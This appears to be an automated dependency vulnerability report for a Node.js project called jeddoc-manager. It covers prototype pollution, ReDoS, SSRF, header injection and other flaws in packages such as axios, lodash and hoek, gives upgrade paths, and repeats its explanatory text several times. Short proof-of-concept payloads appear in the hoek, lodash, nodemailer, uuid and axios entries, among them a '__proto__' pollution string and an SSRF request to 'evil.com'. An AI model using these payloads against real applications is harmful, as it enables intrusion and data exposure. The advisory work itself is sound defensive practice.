Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.
Note:
This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.
Remediation
Upgrade axios to version 0.31.0, 1.15.0 or higher.
References
medium severity
- Vulnerable module: diff
- Introduced through: mocha@3.5.3 and nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › diff@3.2.0Remediation: Upgrade to mocha@10.6.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › diff@1.4.0
Overview
diff is a javascript text differencing implementation.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsePatch() and applyPatch() functions if the user input passed without sanitisation. An attacker can cause the process to enter an infinite loop and exhaust system memory by providing a patch with filename headers containing \r, \u2028, or \u2029 characters or having control over patch's patch header for application generated patches.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade diff to version 3.5.1, 4.0.4, 5.2.2, 8.0.3 or higher.
References
medium severity
- Vulnerable module: elliptic
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › browserify-sign@4.2.6 › elliptic@6.6.1
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › node-libs-browser@2.2.1 › crypto-browserify@3.12.1 › create-ecdh@4.0.4 › elliptic@6.6.1
Overview
elliptic is a fast elliptic-curve cryptography implementation in plain javascript.
Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation due to the incorrect computation of the byte-length of k value with leading zeros resulting in its truncation. An attacker can obtain the secret key by analyzing both a faulty signature generated by a vulnerable implementation and a correct signature for the same inputs.
Note:
There is a distinct but related issue CVE-2024-48948.
Remediation
There is no fixed version for elliptic.
References
medium severity
- Vulnerable module: hoek
- Introduced through: jsonwebtoken@7.4.3 and coveralls@2.13.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3 › joi@6.10.1 › hoek@2.16.3Remediation: Upgrade to jsonwebtoken@8.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsonwebtoken@7.4.3 › joi@6.10.1 › topo@1.1.0 › hoek@2.16.3Remediation: Upgrade to jsonwebtoken@8.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3Remediation: Upgrade to coveralls@3.0.0.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: lodash.defaultsdeep
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › lodash.defaultsdeep@4.3.2Remediation: Upgrade to nightwatch@1.0.4.
Overview
lodash.defaultsdeep is a Lodash method _.defaultsDeep exported as a Node.js module.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash.defaultsdeep to version 4.6.1 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@6.6.1.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
PoC:
const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});
Remediation
Upgrade nodemailer to version 6.6.1 or higher.
References
medium severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@6.28.1.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.
Remediation
Upgrade sequelize to version 6.28.1 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: enzyme@2.9.1, sequelize@3.35.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › enzyme@2.9.1 › uuid@3.4.0Remediation: Upgrade to enzyme@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › uuid@3.4.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › jsdom@8.5.0 › request@2.88.2 › uuid@3.4.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › request@2.88.2 › uuid@3.4.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › request@2.79.0 › uuid@3.4.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › request@2.88.2 › uuid@3.4.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › uuid@3.4.0
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.30.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.30.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: babel-cli@6.26.0, eslint@3.19.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › istanbul@0.4.5 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › glob@7.1.1 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › shelljs@0.7.8 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › sass-graph@2.2.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › true-case-path@1.0.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-istanbul@0.12.2 › multi-glob@1.0.2 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › glob@7.0.5 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › istanbul-lib-source-maps@1.2.6 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › spawn-wrap@1.4.3 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
